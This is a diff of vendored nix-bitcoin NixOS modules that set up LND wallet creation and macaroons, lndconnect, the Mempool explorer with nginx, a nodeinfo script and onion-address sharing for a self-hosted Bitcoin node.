${optionalString (cfg.tor-socks != null) "tor.socks=${cfg.tor-socks}"}
|
||||
|
||||
bitcoind.rpchost=${bitcoindRpcAddress}:${toString bitcoind.rpc.port}
|
||||
bitcoind.rpcuser=${bitcoind.rpc.users.public.name}
|
||||
bitcoind.zmqpubrawblock=${zmqHandleSpecialAddress bitcoind.zmqpubrawblock}
|
||||
bitcoind.zmqpubrawtx=${zmqHandleSpecialAddress bitcoind.zmqpubrawtx}
|
||||
|
||||
wallet-unlock-password-file=${secretsDir}/lnd-wallet-password
|
||||
|
||||
${cfg.extraConfig}
|
||||
'';
|
||||
|
||||
zmqHandleSpecialAddress = builtins.replaceStrings [ "0.0.0.0" "[::]" ] [ "127.0.0.1" "[::1]" ];
|
||||
in {
|
||||
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
assertions = [
|
||||
{ assertion =
|
||||
!(config.services ? clightning)
|
||||
|| true; # clightning enable/port check disabled - option structure differs between nixpkgs versions (f13ff45 has plugins only, 8b8c811 removed). Sovran uses lnd only, so no conflict.
|
||||
message = ''
|
||||
LND and clightning can't both bind to lightning port 9735. Either
|
||||
disable LND/clightning or change services.clightning.port or
|
||||
services.lnd.port to a port other than 9735.
|
||||
'';
|
||||
}
|
||||
];
|
||||
|
||||
services.bitcoind = {
|
||||
enable = true;
|
||||
|
||||
# Increase rpc thread count due to reports that lightning implementations fail
|
||||
# under high bitcoind rpc load
|
||||
rpc.threads = 16;
|
||||
|
||||
zmqpubrawblock = mkDefault "tcp://${bitcoindRpcAddress}:28332";
|
||||
zmqpubrawtx = mkDefault "tcp://${bitcoindRpcAddress}:28333";
|
||||
};
|
||||
|
||||
environment.systemPackages = [ cfg.package (hiPrio cfg.cli) ];
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d '${cfg.dataDir}' 0770 ${cfg.user} ${cfg.group} - -"
|
||||
];
|
||||
|
||||
services.lnd.certificate.extraIPs = mkIf (cfg.rpcAddress != "127.0.0.1") [ "${cfg.rpcAddress}" ];
|
||||
|
||||
systemd.services.lnd = {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "bitcoind.service" ];
|
||||
after = [ "bitcoind.service" "nix-bitcoin-secrets.target" ];
|
||||
preStart = ''
|
||||
install -m600 ${configFile} '${cfg.dataDir}/lnd.conf'
|
||||
{
|
||||
echo "bitcoind.rpcpass=$(cat ${secretsDir}/bitcoin-rpcpassword-public)"
|
||||
${optionalString (cfg.getPublicAddressCmd != "") ''
|
||||
echo "externalip=$(${cfg.getPublicAddressCmd})"
|
||||
''}
|
||||
} >> '${cfg.dataDir}/lnd.conf'
|
||||
|
||||
if [[ ! -f ${networkDir}/wallet.db ]]; then
|
||||
seed='${cfg.dataDir}/lnd-seed-mnemonic'
|
||||
|
||||
if [[ ! -f "$seed" ]]; then
|
||||
echo "Create lnd seed"
|
||||
(umask u=r,go=; ${lndinit} gen-seed > "$seed")
|
||||
fi
|
||||
|
||||
echo "Create lnd wallet"
|
||||
${lndinit} -v init-wallet \
|
||||
--file.seed="$seed" \
|
||||
--file.wallet-password='${secretsDir}/lnd-wallet-password' \
|
||||
--init-file.output-wallet-dir='${cfg.networkDir}'
|
||||
fi
|
||||
'';
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "notify";
|
||||
RuntimeDirectory = "lnd"; # Only used to store custom macaroons
|
||||
RuntimeDirectoryMode = "711";
|
||||
ExecStart = "${cfg.package}/bin/lnd --configfile='${cfg.dataDir}/lnd.conf'";
|
||||
User = cfg.user;
|
||||
TimeoutSec = "15min";
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
ReadWritePaths = [ cfg.dataDir ];
|
||||
ExecStartPost = let
|
||||
curl = "${pkgs.curl}/bin/curl -fsS --cacert ${cfg.certPath}";
|
||||
restUrl = "https://${nbLib.addressWithPort cfg.restAddress cfg.restPort}/v1";
|
||||
# Setting macaroon permissions for other users needs root permissions
|
||||
script = nbLib.rootScript "lnd-create-macaroons" ''
|
||||
umask ug=r,o=
|
||||
${lib.concatMapStrings (macaroon: ''
|
||||
echo "Create custom macaroon ${macaroon}"
|
||||
macaroonPath="$RUNTIME_DIRECTORY/${macaroon}.macaroon"
|
||||
${curl} \
|
||||
-H "Grpc-Metadata-macaroon: $(${pkgs.xxd}/bin/xxd -ps -u -c 99999 '${networkDir}/admin.macaroon')" \
|
||||
-X POST \
|
||||
-d '{"permissions":[${cfg.macaroons.${macaroon}.permissions}]}' \
|
||||
${restUrl}/macaroon |\
|
||||
${pkgs.jq}/bin/jq -c '.macaroon' | ${pkgs.xxd}/bin/xxd -p -r > "$macaroonPath"
|
||||
chown ${cfg.macaroons.${macaroon}.user}: "$macaroonPath"
|
||||
'') (attrNames cfg.macaroons)}
|
||||
'';
|
||||
in [
|
||||
script
|
||||
];
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce;
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
home = cfg.dataDir; # lnd creates .lnd dir in HOME
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
nix-bitcoin.operator = {
|
||||
groups = [ cfg.group ];
|
||||
allowRunAsUsers = [ cfg.user ];
|
||||
};
|
||||
|
||||
nix-bitcoin.secrets = {
|
||||
lnd-wallet-password.user = cfg.user;
|
||||
lnd-key.user = cfg.user;
|
||||
lnd-cert.user = cfg.user;
|
||||
lnd-cert.permissions = "444"; # world readable
|
||||
};
|
||||
# Advantages of manually pre-generating certs:
|
||||
# - Reduces dynamic state
|
||||
# - Enables deployment of a mesh of server plus client nodes with predefined certs
|
||||
nix-bitcoin.generateSecretsCmds.lnd = ''
|
||||
makePasswordSecret lnd-wallet-password
|
||||
makeCert lnd '${nbLib.mkCertExtraAltNames cfg.certificate}'
|
||||
'';
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
cfg = config.services.lnd;
|
||||
operatorName = config.nix-bitcoin.operator.name;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
mkLndconnect = { name, isClightning ? false, enableOnion, onionService, port, certPath, authSecretPath }:
|
||||
let
|
||||
lnd = config.services.lnd;
|
||||
getOnionAddress = "cat ${config.nix-bitcoin.secretsDir}/onion-address-${onionService} 2>/dev/null || echo ${onionService}.onion";
|
||||
in pkgs.writeScriptBin name ''
|
||||
#!${pkgs.bash}/bin/bash
|
||||
set -e
|
||||
certPath="${certPath}"
|
||||
authSecretPath="${authSecretPath}"
|
||||
if [ "${toString enableOnion}" = "1" ]; then
|
||||
host=$(cat /var/lib/tor/onion/${onionService}/hostname 2>/dev/null || echo "${onionService}.onion")
|
||||
port="${toString port}"
|
||||
else
|
||||
host="${nbLib.address lnd.restAddress}"
|
||||
port="${toString lnd.restPort}"
|
||||
fi
|
||||
# lndconnect is provided by pkgs.lndconnect
|
||||
${getExe pkgs.lndconnect} --host="$host" --port="$port" --cert="$certPath" --macaroon="$authSecretPath" "$@"
|
||||
'';
|
||||
in {
|
||||
options.services.lnd.lndconnect = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Enable lndconnect for LND";
|
||||
};
|
||||
onion = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Expose lndconnect via Tor onion service";
|
||||
};
|
||||
};
|
||||
|
||||
config = mkIf cfg.enable (mkMerge [
|
||||
(mkIf cfg.lndconnect.enable {
|
||||
environment.systemPackages = [
|
||||
(mkLndconnect {
|
||||
name = "lndconnect";
|
||||
enableOnion = cfg.lndconnect.onion;
|
||||
onionService = "${operatorName}/lnd";
|
||||
port = cfg.restPort;
|
||||
certPath = cfg.certPath;
|
||||
authSecretPath = "${cfg.networkDir}/admin.macaroon";
|
||||
})
|
||||
];
|
||||
})
|
||||
(mkIf (cfg.lndconnect.enable && cfg.lndconnect.onion) {
|
||||
services.tor.relay.onionServices.lnd = nbLib.mkOnionService {
|
||||
port = cfg.restPort;
|
||||
target = { addr = nbLib.address cfg.restAddress; port = cfg.restPort; };
|
||||
};
|
||||
nix-bitcoin.onionAddresses.access.${operatorName} = [ "lnd" ];
|
||||
})
|
||||
]);
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.services = {
|
||||
mempool = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = ''
|
||||
Enable Mempool, a fully featured Bitcoin visualizer, explorer, and API service.
|
||||
|
||||
Note: Mempool enables `txindex` in bitcoind (this is a requirement).
|
||||
|
||||
This module has two components:
|
||||
- A backend service (systemd service `mempool`)
|
||||
|
||||
- An optional web interface run by nginx, defined by options `services.mempool.frontend.*`.
|
||||
The frontend is enabled by default when mempool is enabled.
|
||||
For details, see `services.mempool.frontend.enable`.
|
||||
'';
|
||||
};
|
||||
|
||||
frontend = {
|
||||
enable = mkOption {
|
||||
type = types.bool;
|
||||
default = cfg.enable;
|
||||
description = ''
|
||||
Enable the mempool frontend (web interface).
|
||||
This starts a simple nginx instance, configured for local usage with
|
||||
settings similar to the `mempool/frontend` Docker image.
|
||||
|
||||
IMPORTANT:
|
||||
If you want to expose the mempool frontend to the internet, you
|
||||
should create a custom nginx config that includes TLS, backend caching, rate limiting
|
||||
and performance tuning.
|
||||
For this task, reuse the config snippets from option `services.mempool.frontend.nginxConfig`.
|
||||
See also: https://github.com/fort-nix/nixbitcoin.org/blob/master/website/mempool.nix,
|
||||
which contains a mempool nginx config for public hosting (running at
|
||||
https://mempool.nixbitcoin.org).
|
||||
'';
|
||||
};
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "HTTP server address.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 60845; # A random private port
|
||||
description = "HTTP server port.";
|
||||
};
|
||||
settings = mkOption {
|
||||
type = with types; attrsOf anything;
|
||||
default = {};
|
||||
example = {
|
||||
TESTNET_ENABLED = true;
|
||||
MEMPOOL_WEBSITE_URL = "mempool.mynode.org";
|
||||
};
|
||||
description = ''
|
||||
Mempool frontend settings.
|
||||
See here for available options:
|
||||
https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
|
||||
(`interface Env` and `defaultEnv`)
|
||||
'';
|
||||
};
|
||||
staticContentRoot = mkOption {
|
||||
type = types.path;
|
||||
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-frontend.withConfig cfg.frontend.settings;
|
||||
defaultText = "mempoolPkgs.mempool-frontend";
|
||||
description = "
|
||||
Path of the static frontend content root.
|
||||
";
|
||||
};
|
||||
nginxConfig = mkOption {
|
||||
readOnly = true;
|
||||
default = frontend.nginxConfig;
|
||||
defaultText = "(See source)";
|
||||
description = "
|
||||
An attrset of nginx config snippets for assembling a custom
|
||||
mempool nginx config.
|
||||
For details, see the source comments at the point of definition.
|
||||
";
|
||||
};
|
||||
};
|
||||
|
||||
address = mkOption {
|
||||
type = types.str;
|
||||
default = "127.0.0.1";
|
||||
description = "Mempool backend address.";
|
||||
};
|
||||
port = mkOption {
|
||||
type = types.port;
|
||||
default = 8999;
|
||||
description = "Mempool backend port.";
|
||||
};
|
||||
electrumServer = mkOption {
|
||||
type = types.enum [ "electrs" ];
|
||||
default = "electrs";
|
||||
description = ''
|
||||
The Electrum server to use for fetching address information.
|
||||
|
||||
Possible options:
|
||||
- electrs:
|
||||
Small database size, slow when querying new addresses.
|
||||
'';
|
||||
};
|
||||
settings = mkOption {
|
||||
type = with types; attrsOf (attrsOf anything);
|
||||
example = {
|
||||
MEMPOOL = {
|
||||
POLL_RATE_MS = 3000;
|
||||
STDOUT_LOG_MIN_PRIORITY = "debug";
|
||||
};
|
||||
PRICE_DATA_SERVER = {
|
||||
CLEARNET_URL = "https://myserver.org/prices";
|
||||
};
|
||||
};
|
||||
description = ''
|
||||
Mempool backend settings.
|
||||
See here for available options:
|
||||
https://github.com/mempool/mempool/blob/master/backend/src/config.ts
|
||||
'';
|
||||
};
|
||||
database = {
|
||||
name = mkOption {
|
||||
type = types.str;
|
||||
default = "mempool";
|
||||
description = "Database name.";
|
||||
};
|
||||
};
|
||||
package = mkOption {
|
||||
type = types.package;
|
||||
default = (pkgs.callPackage ../../packages/mempool { fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {}; }).mempool-backend;
|
||||
defaultText = "mempoolPkgs.mempool-backend";
|
||||
description = "The package providing mempool binaries.";
|
||||
};
|
||||
user = mkOption {
|
||||
type = types.str;
|
||||
default = "mempool";
|
||||
description = "The user as which to run Mempool.";
|
||||
};
|
||||
group = mkOption {
|
||||
type = types.str;
|
||||
default = cfg.user;
|
||||
description = "The group as which to run Mempool.";
|
||||
};
|
||||
tor = nbLib.tor;
|
||||
};
|
||||
|
||||
# Internal read-only options used by `./nodeinfo.nix` and `./onion-services.nix`
|
||||
mempool-frontend = let
|
||||
inherit (nbLib) mkAlias;
|
||||
in {
|
||||
enable = mkAlias cfg.frontend.enable;
|
||||
address = mkAlias cfg.frontend.address;
|
||||
port = mkAlias cfg.frontend.port;
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.services.mempool;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
nbPkgs = pkgs; # vendored: now alias to pkgs
|
||||
secretsDir = config.nix-bitcoin.secretsDir;
|
||||
|
||||
configFile = builtins.toFile "mempool-config" (builtins.toJSON cfg.settings);
|
||||
cacheDir = "/var/cache/mempool";
|
||||
|
||||
inherit (config.services)
|
||||
bitcoind
|
||||
electrs;
|
||||
|
||||
torSocket = config.services.tor.client.socksListenAddress;
|
||||
# Vendored mempool package
|
||||
fetchNodeModules = pkgs.callPackage ../../packages/build-support/fetch-node-modules.nix {};
|
||||
mempoolPkgs = pkgs.callPackage ../../packages/mempool { inherit fetchNodeModules; };
|
||||
|
||||
# See the `services.nginx` definition further below
|
||||
# on how to use these snippets.
|
||||
frontend.nginxConfig = {
|
||||
# This must be added to `services.nginx.commonHttpConfig` when
|
||||
# `mempool/location-static.conf` is used
|
||||
httpConfig = ''
|
||||
include ${mempoolPkgs.mempool-nginx-conf}/http-language.conf;
|
||||
'';
|
||||
|
||||
# Config for static website content.
|
||||
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
|
||||
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-redirects.conf
|
||||
staticContent = ''
|
||||
index index.html;
|
||||
|
||||
add_header Cache-Control "public, no-transform";
|
||||
add_header Vary Accept-Language;
|
||||
add_header Vary Cookie;
|
||||
|
||||
include ${mempoolPkgs.mempool-nginx-conf}/location-static.conf;
|
||||
|
||||
# Redirect /api to /docs/api
|
||||
location = /api {
|
||||
return 308 https://$host/docs/api;
|
||||
}
|
||||
location = /api/ {
|
||||
return 308 https://$host/docs/api;
|
||||
}
|
||||
'';
|
||||
|
||||
# Config for backend API.
|
||||
# This should be added to `services.nginx.virtualHosts.<mempool server name>.extraConfig`.
|
||||
# Adapted from mempool/nginx-mempool.conf and mempool/production/nginx/location-api.conf.
|
||||
proxyApi = let
|
||||
backend = "http://${nbLib.addressWithPort cfg.address cfg.port}";
|
||||
in ''
|
||||
location /api/ {
|
||||
proxy_pass ${backend}/api/v1/;
|
||||
}
|
||||
location /api/v1 {
|
||||
proxy_pass ${backend};
|
||||
}
|
||||
# Websocket API
|
||||
location /api/v1/ws {
|
||||
proxy_pass ${backend};
|
||||
|
||||
# Websocket header settings
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "Upgrade";
|
||||
|
||||
# Relevant settings from `recommendedProxyConfig` (nixos/nginx/default.nix)
|
||||
# (In the above api locations, these are inherited from the parent scope)
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
'';
|
||||
};
|
||||
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
services.bitcoind.txindex = true;
|
||||
services.electrs.enable = true;
|
||||
services.mysql = {
|
||||
enable = true;
|
||||
package = pkgs.mariadb;
|
||||
ensureDatabases = [ cfg.database.name ];
|
||||
ensureUsers = [
|
||||
{
|
||||
name = cfg.user;
|
||||
ensurePermissions."${cfg.database.name}.*" = "ALL PRIVILEGES";
|
||||
}
|
||||
];
|
||||
};
|
||||
|
||||
# Available options:
|
||||
# https://github.com/mempool/mempool/blob/master/backend/src/config.ts
|
||||
services.mempool.settings = {
|
||||
MEMPOOL = {
|
||||
# mempool doesn't support regtest
|
||||
NETWORK = "mainnet";
|
||||
BACKEND = "electrum";
|
||||
HTTP_PORT = cfg.port;
|
||||
CACHE_DIR = "${cacheDir}/cache";
|
||||
STDOUT_LOG_MIN_PRIORITY = mkDefault "info";
|
||||
AUTOMATIC_POOLS_UPDATE = true;
|
||||
};
|
||||
CORE_RPC = {
|
||||
HOST = bitcoind.rpc.address;
|
||||
PORT = bitcoind.rpc.port;
|
||||
USERNAME = bitcoind.rpc.users.public.name;
|
||||
PASSWORD = "@btcRpcPassword@";
|
||||
};
|
||||
ELECTRUM = let
|
||||
server = config.services.${cfg.electrumServer};
|
||||
in {
|
||||
HOST = server.address;
|
||||
PORT = server.port;
|
||||
TLS_ENABLED = false;
|
||||
};
|
||||
DATABASE = {
|
||||
ENABLED = true;
|
||||
DATABASE = cfg.database.name;
|
||||
SOCKET = "/run/mysqld/mysqld.sock";
|
||||
PID_DIR = cacheDir;
|
||||
};
|
||||
} // optionalAttrs (cfg.tor.proxy) {
|
||||
# Use Tor for rate fetching and pool updating
|
||||
SOCKS5PROXY = {
|
||||
ENABLED = true;
|
||||
USE_ONION = true;
|
||||
HOST = torSocket.addr;
|
||||
PORT = torSocket.port;
|
||||
};
|
||||
};
|
||||
|
||||
systemd.services.mempool = rec {
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
requires = [ "mysql.service" ];
|
||||
wants = [ "${cfg.electrumServer}.service" ];
|
||||
after = requires ++ wants;
|
||||
preStart = ''
|
||||
mkdir -p '${cacheDir}/cache'
|
||||
<${configFile} sed \
|
||||
-e "s|@btcRpcPassword@|$(cat ${secretsDir}/bitcoin-rpcpassword-public)|" \
|
||||
> '${cacheDir}/config.json'
|
||||
'';
|
||||
environment.MEMPOOL_CONFIG_FILE = "${cacheDir}/config.json";
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
ExecStart = "${cfg.package}/bin/mempool-backend";
|
||||
CacheDirectory = "mempool";
|
||||
CacheDirectoryMode = "770";
|
||||
# Show "mempool" instead of "node" in the journal
|
||||
SyslogIdentifier = "mempool";
|
||||
User = cfg.user;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
} // nbLib.allowedIPAddresses cfg.tor.enforce
|
||||
// nbLib.nodejs;
|
||||
};
|
||||
|
||||
services.nginx = mkIf cfg.frontend.enable {
|
||||
enable = true;
|
||||
enableReload = true;
|
||||
recommendedBrotliSettings = true;
|
||||
recommendedGzipSettings = true;
|
||||
recommendedOptimisation = true;
|
||||
recommendedProxySettings = true;
|
||||
recommendedTlsSettings = true;
|
||||
commonHttpConfig = frontend.nginxConfig.httpConfig;
|
||||
virtualHosts."mempool" = {
|
||||
serverName = "_";
|
||||
listen = [ { addr = cfg.frontend.address; port = cfg.frontend.port; } ];
|
||||
root = cfg.frontend.staticContentRoot;
|
||||
extraConfig =
|
||||
frontend.nginxConfig.staticContent +
|
||||
frontend.nginxConfig.proxyApi;
|
||||
};
|
||||
};
|
||||
|
||||
users.users.${cfg.user} = {
|
||||
isSystemUser = true;
|
||||
group = cfg.group;
|
||||
extraGroups = [ "bitcoinrpc-public" ];
|
||||
};
|
||||
users.groups.${cfg.group} = {};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
with lib;
|
||||
{
|
||||
options = {
|
||||
nix-bitcoin = {
|
||||
# Kept for compatibility, now simply aliases system pkgs
|
||||
pkgs = mkOption {
|
||||
type = types.attrs;
|
||||
default = pkgs;
|
||||
defaultText = "pkgs";
|
||||
description = "Alias to system pkgs (vendored nix-bitcoin now uses nixpkgs directly).";
|
||||
};
|
||||
|
||||
useVersionLockedPkgs = mkOption {
|
||||
type = types.bool;
|
||||
default = false;
|
||||
description = "Deprecated — vendored modules always use system pkgs.";
|
||||
};
|
||||
|
||||
pkgOverlays = mkOption {
|
||||
internal = true;
|
||||
type = with types; functionTo attrs;
|
||||
default = _: _: {};
|
||||
description = "Deprecated stub.";
|
||||
};
|
||||
|
||||
lib = mkOption {
|
||||
readOnly = true;
|
||||
default = import ./lib.nix lib pkgs config;
|
||||
defaultText = "vendor/nix-bitcoin/lib.nix";
|
||||
};
|
||||
|
||||
torClientAddressWithPort = mkOption {
|
||||
readOnly = true;
|
||||
default = with config.services.tor.client.socksListenAddress;
|
||||
"${addr}:${toString port}";
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
torify = mkOption {
|
||||
readOnly = true;
|
||||
default = pkgs.writers.writeBashBin "torify" ''
|
||||
${pkgs.tor}/bin/torify \
|
||||
--address ${config.services.tor.client.socksListenAddress.addr} \
|
||||
"$@"
|
||||
'';
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
runAsUserCmd = mkOption {
|
||||
readOnly = true;
|
||||
default = if config.security.doas.enable
|
||||
then "doas -u"
|
||||
else "sudo -u";
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
{ config, lib, pkgs, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options = {
|
||||
nix-bitcoin.nodeinfo = {
|
||||
enable = mkEnableOption "nodeinfo";
|
||||
|
||||
program = mkOption {
|
||||
readOnly = true;
|
||||
default = script;
|
||||
defaultText = "(See source)";
|
||||
};
|
||||
|
||||
services = mkOption {
|
||||
internal = true;
|
||||
type = types.attrs;
|
||||
default = {};
|
||||
defaultText = "(See source)";
|
||||
description = ''
|
||||
Nodeinfo service definitions.
|
||||
'';
|
||||
};
|
||||
|
||||
lib = mkOption {
|
||||
internal = true;
|
||||
readOnly = true;
|
||||
default = nodeinfoLib;
|
||||
defaultText = "(See source)";
|
||||
description = ''
|
||||
Helper functions for defining nodeinfo services.
|
||||
'';
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.nodeinfo;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
|
||||
script = pkgs.writeScriptBin "nodeinfo" ''
|
||||
#!${pkgs.python3}/bin/python
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
from collections import OrderedDict
|
||||
|
||||
def success(*args):
|
||||
return subprocess.call(args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) == 0
|
||||
|
||||
def is_active(unit):
|
||||
return success("systemctl", "is-active", "--quiet", unit)
|
||||
|
||||
def is_enabled(unit):
|
||||
return success("systemctl", "is-enabled", "--quiet", unit)
|
||||
|
||||
def cmd(*args):
|
||||
return subprocess.run(args, stdout=subprocess.PIPE).stdout.decode('utf-8')
|
||||
|
||||
def shell(*args):
|
||||
return cmd("bash", "-c", *args).strip()
|
||||
|
||||
infos = OrderedDict()
|
||||
operator = "${config.nix-bitcoin.operator.name}"
|
||||
|
||||
def get_onion_address(name, port):
|
||||
path = f"/var/lib/onion-addresses/{operator}/{name}"
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
onion_address = f.read().strip()
|
||||
except OSError:
|
||||
print(f"error reading file {path}", file=sys.stderr)
|
||||
return
|
||||
return f"{onion_address}:{port}"
|
||||
|
||||
def add_service(service, make_info, systemd_service = None):
|
||||
systemd_service = systemd_service or service
|
||||
if not is_active(systemd_service):
|
||||
infos[service] = f"'{systemd_service}.service' is not running"
|
||||
else:
|
||||
info = OrderedDict()
|
||||
exec(make_info, globals(), locals())
|
||||
infos[service] = info
|
||||
|
||||
if is_enabled("onion-addresses") and not is_active("onion-addresses"):
|
||||
print("error: service 'onion-addresses' is not running")
|
||||
exit(1)
|
||||
|
||||
${concatStrings infos}
|
||||
|
||||
print(json.dumps(infos, indent=2))
|
||||
'';
|
||||
|
||||
infos = map (serviceName:
|
||||
let serviceCfg = config.services.${serviceName};
|
||||
in optionalString serviceCfg.enable (cfg.services.${serviceName} serviceName serviceCfg)
|
||||
) (builtins.attrNames cfg.services);
|
||||
|
||||
nodeinfoLib = rec {
|
||||
mkInfo = extraCode: name: cfg:
|
||||
mkInfoLong {
|
||||
inherit extraCode name cfg;
|
||||
};
|
||||
|
||||
mkInfoLong = { extraCode ? "", name, cfg, systemdServiceName ? name }: ''
|
||||
add_service("${name}", """
|
||||
info["local_address"] = "${nbLib.addressWithPort cfg.address cfg.port}"
|
||||
'' + mkIfOnionPort name (onionPort: ''
|
||||
info["onion_address"] = get_onion_address("${name}", ${onionPort})
|
||||
'') + extraCode + ''
|
||||
|
||||
""", "${systemdServiceName}")
|
||||
'';
|
||||
|
||||
mkIfOnionPort = name: fn:
|
||||
if onionServices ? ${name} then
|
||||
fn (toString (builtins.elemAt onionServices.${name}.map 0).port)
|
||||
else
|
||||
"";
|
||||
};
|
||||
|
||||
inherit (config.services.tor.relay) onionServices;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf cfg.enable {
|
||||
environment.systemPackages = [ script ];
|
||||
|
||||
nix-bitcoin.operator.enable = true;
|
||||
|
||||
nix-bitcoin.nodeinfo.services = with nodeinfoLib; {
|
||||
bitcoind = mkInfo "";
|
||||
lnd = name: cfg: mkInfo (''
|
||||
info["rest_address"] = "${nbLib.addressWithPort cfg.restAddress cfg.restPort}"
|
||||
'' + mkIfOnionPort "lnd-rest" (onionPort: ''
|
||||
info["onion_rest_address"] = get_onion_address("lnd-rest", ${onionPort})
|
||||
'') + ''
|
||||
info["nodeid"] = shell("lncli getinfo | jq -r '.identity_pubkey'")
|
||||
'') name cfg;
|
||||
electrs = mkInfo "";
|
||||
btcpayserver = mkInfo "";
|
||||
rtl = mkInfo "";
|
||||
mempool = mkInfo "";
|
||||
mempool-frontend = name: cfg: mkInfoLong {
|
||||
inherit name cfg;
|
||||
systemdServiceName = "nginx";
|
||||
};
|
||||
# Only add sshd when it has an onion service
|
||||
sshd = name: cfg: mkIfOnionPort "sshd" (onionPort: ''
|
||||
add_service("sshd", """info["onion_address"] = get_onion_address("sshd", ${onionPort})""")
|
||||
'');
|
||||
};
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
# This module enables unprivileged users to read onion addresses.
|
||||
# By default, onion addresses in /var/lib/tor/onion are only readable by the
|
||||
# tor user.
|
||||
# The included service copies onion addresses to /var/lib/onion-addresses/<user>/
|
||||
# and sets permissions according to option 'access'.
|
||||
|
||||
{ config, lib, ... }:
|
||||
|
||||
with lib;
|
||||
let
|
||||
options.nix-bitcoin.onionAddresses = {
|
||||
access = mkOption {
|
||||
type = with types; attrsOf (listOf str);
|
||||
default = {};
|
||||
description = ''
|
||||
This option controls who is allowed to access onion addresses.
|
||||
For example, the following allows user 'myuser' to access bitcoind
|
||||
and clightning onion addresses:
|
||||
```nix
|
||||
{
|
||||
"myuser" = [ "bitcoind" "clightning" ];
|
||||
};
|
||||
```
|
||||
The onion hostnames can then be read from
|
||||
{file}`/var/lib/onion-addresses/myuser`.
|
||||
'';
|
||||
};
|
||||
services = mkOption {
|
||||
type = with types; listOf str;
|
||||
default = [];
|
||||
description = ''
|
||||
Services that can access their onion address via file
|
||||
{file}`/var/lib/onion-addresses/<service>`
|
||||
The file is readable only by the service user.
|
||||
'';
|
||||
};
|
||||
dataDir = mkOption {
|
||||
readOnly = true;
|
||||
default = "/var/lib/onion-addresses";
|
||||
};
|
||||
};
|
||||
|
||||
cfg = config.nix-bitcoin.onionAddresses;
|
||||
nbLib = config.nix-bitcoin.lib;
|
||||
in {
|
||||
inherit options;
|
||||
|
||||
config = mkIf (cfg.access != {} || cfg.services != []) {
|
||||
systemd.services.onion-addresses = {
|
||||
wantedBy = [ "tor.service" ];
|
||||
bindsTo = [ "tor.service" ];
|
||||
after = [ "tor.service" ];
|
||||
serviceConfig = nbLib.defaultHardening // {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
StateDirectory = "onion-addresses";
|
||||
StateDirectoryMode = "771";
|
||||
PrivateNetwork = true; # This service needs no network access
|
||||
PrivateUsers = false;
|
||||
CapabilityBoundingSet = "CAP_CHOWN CAP_FSETID CAP_SETFCAP CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_FOWNER CAP_IPC_OWNER";
|
||||
};
|
||||
script = ''
|
||||
waitForFile() {
|
||||
file=$1
|
||||
for ((i=0; i<300; i++)); do
|
||||
if [[ -e $file ]]; then
|
||||
return;
|
||||
fi
|
||||
sleep 0.1
|
||||
done
|
||||
echo "Error: File $file did not appear after 30 sec."
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Wait until tor is up
|
||||
waitForFile /var/lib/tor/state
|
||||
|
||||
cd ${cfg.dataDir}
|
||||
rm -rf ./*
|
||||
|
||||
${concatMapStrings
|
||||
(user: ''
|
||||
mkdir -p -m 0700 ${user}
|
||||
chown ${user} ${user}
